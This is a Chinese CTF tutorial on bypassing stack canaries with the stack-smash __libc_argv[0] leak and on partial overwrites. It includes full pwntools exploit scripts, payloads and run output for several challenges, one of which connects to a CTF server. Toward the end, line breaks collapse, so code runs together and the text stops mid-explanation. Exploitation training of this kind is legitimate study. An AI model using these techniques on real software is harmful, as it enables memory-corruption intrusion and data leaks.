棧溢出技巧(下)

基於報錯類的棧保護

canary這個值被稱作金絲雀(“canary”)值,指的是礦工曾利用金絲雀來確認是否有氣體泄漏,如果金絲雀因爲氣體泄漏而中毒死亡,可以給礦工預警。在brop中也提到過,通過爆破的辦法去進行繞過canary保護,因爲canary的值在每次程序運行時都是不同的,所以這需要一定的條件:fork的子進程不變,題目中很難遇到,所以我們可以使用stack smash的方法進行泄漏內容。canary位置位於高於局部變量,低於ESP,也就是在其中間,那麼我們進行溢出攻擊的時候,都會覆蓋到canary的值,從而導致程序以外結束。具體看一下canary在哪?怎麼形成的?又是怎麼使用的?舉一個小例子:

#include <stdio.h>
void main(int argc, char **argv) {
    char buf[10];
    scanf("%s", buf);
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector

看一下其彙編代碼

Dump of assembler code for function main:
   0x0000000000000740 <+0>: push   rbp
   0x0000000000000741 <+1>: mov    rbp,rsp
   0x0000000000000744 <+4>: sub    rsp,0x30
   0x0000000000000748 <+8>: mov    DWORD PTR [rbp-0x24],edi
   0x000000000000074b <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000075c <+28>:    xor    eax,eax
   0x000000000000075e <+30>:    lea    rax,[rbp-0x12]
   0x0000000000000762 <+34>:    mov    rsi,rax
   0x0000000000000765 <+37>:    lea    rdi,[rip+0xb8]        # 0x824
   0x000000000000076c <+44>:    mov    eax,0x0
   0x0000000000000771 <+49>:    call   0x5f0 <__isoc99_scanf@plt>
   0x0000000000000776 <+54>:    mov    rax,QWORD PTR [rbp-0x30]
   0x000000000000077a <+58>:    lea    rdx,[rip+0xa6]        # 0x827
   0x0000000000000781 <+65>:    mov    QWORD PTR [rax],rdx
   0x0000000000000784 <+68>:    nop
   0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000000792 <+82>:    je     0x799 <main+89>
   0x0000000000000794 <+84>:    call   0x5e0 <__stack_chk_fail@plt>
   0x0000000000000799 <+89>:    leave  
   0x000000000000079a <+90>:    ret    
End of assembler dump.

找到<+15> <+24>和<+69><+73>處

   0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
.....
   0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28

前兩處是生成canary並且存在[rbp-0x8]中,怎是通過從fs:0x28的地方獲取的,而且發現每次都會變化,無法預測。後兩處則是程序執行完成後對[rbp-0x8]canary值與fs:0x28的值進行比較,如果xor操作後rax寄存器中值爲0,那麼程序自己就認爲是沒有被破壞,否則調用__stack_chk_fail函數。繼續看該函數的內容和作用,會引出stack smash利用技巧。

 __attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

void __attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

最終會調用fortify_fail函數中的libc_message (2, "* %s : %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") ,關鍵點來了。一、可以打印信息二、__libc_argv[0]可控制那麼__libc_argv[0]是什麼呢?與打印信息又什麼聯繫?libc_argv[0]則是 argv[ ]指針組的的元素,先看 main函數的原型,void main(int argc, char *argv)。其中參數argc是整數,表示使用命令行運行程序時傳遞了幾個參數; argv[ ]是一個指針數組,用來存放指向你的字符串參數的指針,每一個元素指向一個參數。其中argv[0]指向程序運行的全路徑名,也就是程序的名字,比如例子中的./a.out,argv[1] 指向在命令行中執行程序名後的第一個字符串,以此類推。但是這樣看來,libc_argv[0]似乎是不可以控制的,或者只能使用修改程序名來進行控制。繼續看這麼一個小實驗,先看一下這個錯誤信息是怎麼打印的(至於爲什麼是輸出50個字節,隨後再探究)。

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段錯誤

如果我們在程序中強行修改__libc_argv[0]會怎麼樣?

#include <stdio.h>
void main(int argc, char **argv) {
    char buf[10];
    scanf("%s", buf);
    argv[0] = "stack smash!";
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: stack smash! terminated
段錯誤

可以發現成功控制了__libc_argv[0]的值,打印出來了想要的信息。綜上所述,這一種基於報錯類的棧保護,恰恰是可以報錯,所以存在stack smash的繞過方法。

stack smash原理

調試fortify_fail 函數,找到libc_message函數的部分彙編代碼:

0x7ffff7b331d0 <__fortify_fail+16>    mov    rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8>

然後獲取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的內存單元。

image.png

對於這個例子來說,輸入的長度達到0xf8字節,即可開始覆蓋__libc_argv[0]的值,從而打印出來需要的信息,構造就相應的payload就行泄漏想要的內容,比如存儲的flag內容、開啓PIE的加載基址、canary的值等等。在一節裏面,拿剛纔的例子再做一個有意思的小實驗:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out
*** stack smashing detected ***:  terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out
*** stack smashing detected ***:  terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out
段錯誤

buf(0x7fffffffcd00)和__libc_argv0處相距0xf8(也就是說第249位會覆蓋到0x7fffffffcdf8),那麼輸入247、248、249、250會出現三種情況,分別看一下對應情況下0x7fffffffcdf8的值:

達不到覆蓋的距離:    
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'
剛好達到覆蓋的距離,讀入\x00剛好覆蓋到:
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */
覆蓋形成的地址在內存中可以找到:
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0
Cannot access memory at address 0x7fffff004141:
21:0108│      0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */  

因此在嘗試尋找offset的時候,選擇offset = 248。當然嘗試的辦法太慢了,直接gdb調試下斷點,類似於例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。

題目一

2015 年 32C3 CTF readme題目分析如下:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(&v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

pwn@pwn-PC:~/Desktop$ ./readme.bin 
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin 
[*] '/home/pwn/Desktop/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

程序中存在兩次輸入,並且可以發現_IO_gets(&v3)處存在明顯的棧溢出。嘗試找到__libc_argv[0]的位置

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***:   terminated

因此offset = 536。爲了做題的效率,不可能去一個一個嘗試,如下:

gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 5 results, display max 5 items:
[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")
[stack] : 0x7fffffffec91 ("/home/pwn")
[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")
[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")
gdb-peda$ find 0x7fffffffd0c8
Searching for '0x7fffffffd0c8' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
gdb-peda$ distance $rsp 0x7fffffffcde8
From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords
這個計算距離只是特例,最好是按照上一部分例子中的方法來計算,下斷點,distance 地址1 地址2.

可以在IDA下發現.data段的變量

.data:0000000000600D20 byte_600D20     db 33h                  ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0

只需要將此變量進行顯示即可,於是構造payload:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***:   terminated

沒有成功,再看代碼邏輯。

   0x40083f:    call   0x4006a0 <_IO_getc@plt>
   0x400844:    cmp    eax,0xffffffff
   0x400847:    je     0x40089f
   0x400849:    cmp    eax,0xa
   0x40084c:    je     0x400860
   0x40084e:    mov    BYTE PTR [rbx+0x600d20],al
   0x400854:    add    rbx,0x1
   0x400858:    cmp    rbx,0x20
   0x40085c:    jne    0x400838

這是第二次輸入的彙編部分,其中執行了mov BYTE PTR [rbx+0x600d20],al(此時rbx = 0),也就是byte_600D20[v0++] = v1,這就把byte_600D20變量循環覆蓋掉,如下:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+"BBBB"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: BBBB terminated

但是當ELF文件比較小的時候,它的不同區段可能會被多次映射,在ELF內存映射的時候,bss段會被映射兩次,也就是說flag有備份,我們可以使用另一處的地址進行輸出,如下:

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")

此時選擇0x400d20進行構造payload即可成功打印出來。

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
段錯誤

由於題目在遠程服務器上,而且LIBC_FATAL_STDERR=0,這個錯誤提示只會顯示在遠端,不會返回到我們這端。因此必須設置如下環境變量LIBC_FATAL_STDERR=1,才能實現將標準錯誤信息通過管道輸出到遠程shell中。因此,我們還必須設置該參數。那麼環境變量在哪?有什麼用?在libc_message函數的源代碼可以看到LIBC_FATAL_STDERR_使用讀取了環境變量libc_secure_getenv。如果它沒有被設置、或者爲空(\x00或NULL),那麼stderr被重定向到_PATH_TTY(這通常是/dev/tty),因此將錯誤消息不被髮送,只在服務器側可見。位置在高於libc_argv[0]內存單元,且在libc_main[0]地址+8之後。因此exp:

from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20

r = process('./read.bin')
r.recvuntil("What's your name? ")
r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr))
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

本地測試:image1.png

題目二

2018年網鼎杯中guess題目,相對於題目一,flag的位置在棧中而不是bss段,而且ASLR後地址是無法預測的。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

pwn@pwn-PC:~/Desktop$ checksec GUESS 
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

先捋一捋流程首先由於使用了gets,因此可以無限制溢出,並且有三次機會。然後發現flag.txt中flag值通過read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)讀入到了棧中,&buf處。最後開啓了canary,可以使用stack smashing的方法泄漏處flag的值。那麼怎樣去構造呢?想要獲取flag的值,就得獲取buf的棧中的地址,因爲ASLR的原因,那麼需要先泄漏libc的基址,根據偏移去計算出加載後的棧中buf的地址。但是現在問題是得到了libc的的加載地址,怎麼算出stack的加載地址,因爲每次加載的時候,兩者相距的長度變化的。解決的辦法就是找一個與stack的加載地址的偏移量不變的參照物,或者說與buf的棧地址偏移量不變的參照物,此參照物可以根據已有的條件計算出實際的加載地址。此時就需要補充一個知識點:在libc中保存了一個函數叫environ,存的是當前進程的環境變量,environ指向的位置是棧中環境變量的地址,其中environ的地址 = libc基址 + _environ的偏移量,也就說在內存佈局中,他們同屬於一個段,開啓ASLR之後相對位置不變,偏移量和libc庫有關,environ的地址(&environ)和libc基址的偏移量是不會的,並且通過&environ找到_environ內存單元中的值是棧中環境變量的地址,根據此地址可以找到環境變量。

pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ
dc97d:  48 c7 05 c0 f5 2b 00    movq   $0xfff,0x2bf5c0(%rip)        # 39bf48 <__environ@@GLIBC_2.2.5+0x10>
.....

__environ在libc中的偏移量爲0x39bf38。image2.png

這樣一來,棧中environ的值和buf的棧地址的相對位置是固定的,可以根據environ的值-偏移量=buf的棧地址。那麼程序中這三次輸入分別是:第一次,通過泄露函數的got表內容,計算得到libc基址。第二次,通過libc基址和偏移量計算得到&environ,獲取environ的值。第三次,通過_environ的值,計算出buf的棧地址,泄露buf中存儲的flag的值。步驟如下:第一次泄漏libc基址

from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 28733
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7ff71434f000

第二次泄漏_environ的值

environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 29707
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908

第三次泄漏flag的值

計算出stack_addr和buf_addr的相距長度
pwndbg> distance 0x7fffffffcca0 0x7fffffffce08
0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 29877
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
flag: flag{stack_smash}

exp:

from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)

environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag

題目三

Jarvis OJ中的smashes,與題目一一樣,但是可以直接在本地顯示錯誤信息,只是提供了一個復現場景

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "\n"'|./smashes.44838f6edd4408a53feb2e2bbfe5b229 
Hello!
What's your name? Nice to meet you, AAAAAA..... 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{Here's the flag on server} terminated

exp:

from pwn import *
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x400d20                                                                                                 
payload='a'*0x218+p64(flag_addr)+'\n'
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print flag

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Opening connection to pwn.jarvisoj.com on port 9877: Done
PCTF{57dErr_Smasher_good_work!} terminated

[*] Closed connection to pwn.jarvisoj.com port 9877
​````

# 題目四
main函數中存在棧溢出,源碼如下:

int __cdecl main(int argc, const char argv, const char envp){ __int64 v4; // rsp+18h char v5; // rsp+20h char v6; // rsp+A0h unsigned __int64 v7; // rsp+128h

v7 = _readfsqword(0x28u); putenv("LIBC_FATAL_STDERR=1", argv, envp); v4 = fopen64("flag.txt", "r"); if ( v4 ) { fgets(&v5, 32LL, v4); fclose(v4); printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo datos"); } return 0;}

pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl 0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso] 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

開啓了ASLR,並且可以知道程序將flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,這看起來與題目二相似,可以使用其思路,但是vmmap發現這沒有動態編譯,那麼此思路就pass掉,再去找其他的辦法,百思不得其解時,運行一下程序,發現會輸出一個地址,回過頭去看代碼才發現因自己的知識儲備太少,沒有注意到prinf的中%p的是匹配的哪。

pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username?

源碼: printf((unsigned __int64)"Interesting data loaded at %p\nYour username? ");

調試: 0x4010d9 <main+123> lea rax, [rbp - 0x110] 0x4010e0 <main+130> mov rsi, rax 0x4010e3 <main+133> mov edi, 0x493b28 0x4010e8 <main+138> mov eax, 0 ► 0x4010ed <main+143> call printf <0x408770> format: 0x493b28 ◂— 'Interesting data loaded at %p\nYour username? ' vararg: 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'

0x4010f2 <main+148> mov edi, 0 0x4010f7 <main+153> call fflush <0x408c90>

0x4010fc <main+158> lea rax, [rbp - 0x90] 0x401103 <main+165> mov edx, 0x400 0x401108 <main+170> mov rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp 0x7fffffffcbe0 —▸ 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'01:0008│ 0x7fffffffcbe8 ◂— 0x10000000002:0010│ 0x7fffffffcbf0 ◂— 0x003:0018│ 0x7fffffffcbf8 —▸ 0x6c7d40 ◂— 0x004:0020│ rsi 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'05:0028│ 0x7fffffffcc08 ◂— 'ck_smash}\n'06:0030│ 0x7fffffffcc10 ◂— 0xa7d /* '}\n' */07:0038│ 0x7fffffffcc18 —▸ 0x401840 (__libc_csu_fini) ◂— push rbx

發現程序一開始輸出的地址,就是v5所在的棧地址,也就是flag的地址,步驟如下:
找到__libc_argv[0]的地址:

43:0218│ rsi 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'

計算出偏移量:

pwndbg> i r rbprbp 0x7fffffffcd10 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words)

獲取flag:


from pwn import *

sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline()

pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 *** stack smashing detected ***: flag{stack_smash}

# partial write
根據前面的內容可以知道在開啓ASLR+PIE的後,每次加載的地址是在一定的範圍隨機變化的,只不過由於內存頁爲0x1000空間大小的限制和加載後相對偏移不會變的緣故,造成了加載後的地址的最後一個半字節長度的內容是不變的。
partial write則是利用了這一點,內存是以頁載入機制,如果開啓PIE保護的話,只能影響到單個內存頁,一個內存頁大小爲0x1000,那麼就意味着不管地址怎麼變,某一條指令的後三位十六進制數的地址是始終不變的,因此我們可以通過覆蓋地址的後幾位來可以控制程序的執行流。
另外,partial overwrite不僅僅可以用在棧上,同樣可以用在其它隨機化的場景。比如堆的隨機化,由於堆起始地址低字節一定是0x00,也可以通過覆蓋低位來控制堆上的偏移。

# 題目一
2018年安恆杯中babypie題,因爲wiki中給的不是一個二進制文件,因此自己重新編譯。


#include <unistd.h>#include <stdlib.h>void flag(){ system("cat flag");}void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); }int main(int argc, char const *argv[]){ vuln(); return 0;}

pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.cpwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

此題目所有保護都開着,首先發現有canary,就想着使用stack smash泄漏flag函數的地址,然後此地址作爲第二次read的ret_addr地址進行執行,但是隻有第二次read操作存在棧溢出,而且溢出的距離無法到達到覆蓋__libc_argv[0]的距離,假設即便能覆蓋,在PIE的情況下也很難確定.text的地址,因此本題使用partial overwrite的方法進行利用。
可以發現兩次read操作,只有第二次read操作存在棧溢出,但是又有canary,很難利用第二次的棧溢出,那麼怎麼去解決?
首先需要獲取canary的值, 因爲read函數並不會給輸入的末尾加上 \x00 字符,而且printf 使用 %s 時, 遇到 \x00 字符纔會結束輸出,因此只需要把canary末尾字符覆蓋成非 \x00 字符就可以利用printf("Hello %s:\n", buf)輸出canary,然後再利用partial overwrite覆蓋ret_addr控制程序的指令流,步驟如下:
泄漏canary值


from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28p = process('./test-pie')p.recvuntil("Name:\n")payload='a' * offset gdb.attach(p)p.sendline(payload) p.recvuntil('a' * offset)p.recv(1)canary = u64('\0' + p.recvn(7))print hex(canary)

pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie"[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"[DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"'][+] Waiting for debugger: Done[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0x2f bytes: 'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0xf bytes: 00000000 77 05 28 c0 f3 64 57 20 69 4e d8 fc 7f 3a 0a │w·(·│·dW │iN··│·:·│ 0000000f0x5764f3c028057700

可以看到,sent了0x29個字符,因爲buf的棧地址到canary值的地址的相距0x28個字符,再加上覆蓋的canary的末尾字符總共0x29個字符,棧中覆蓋情況如下:


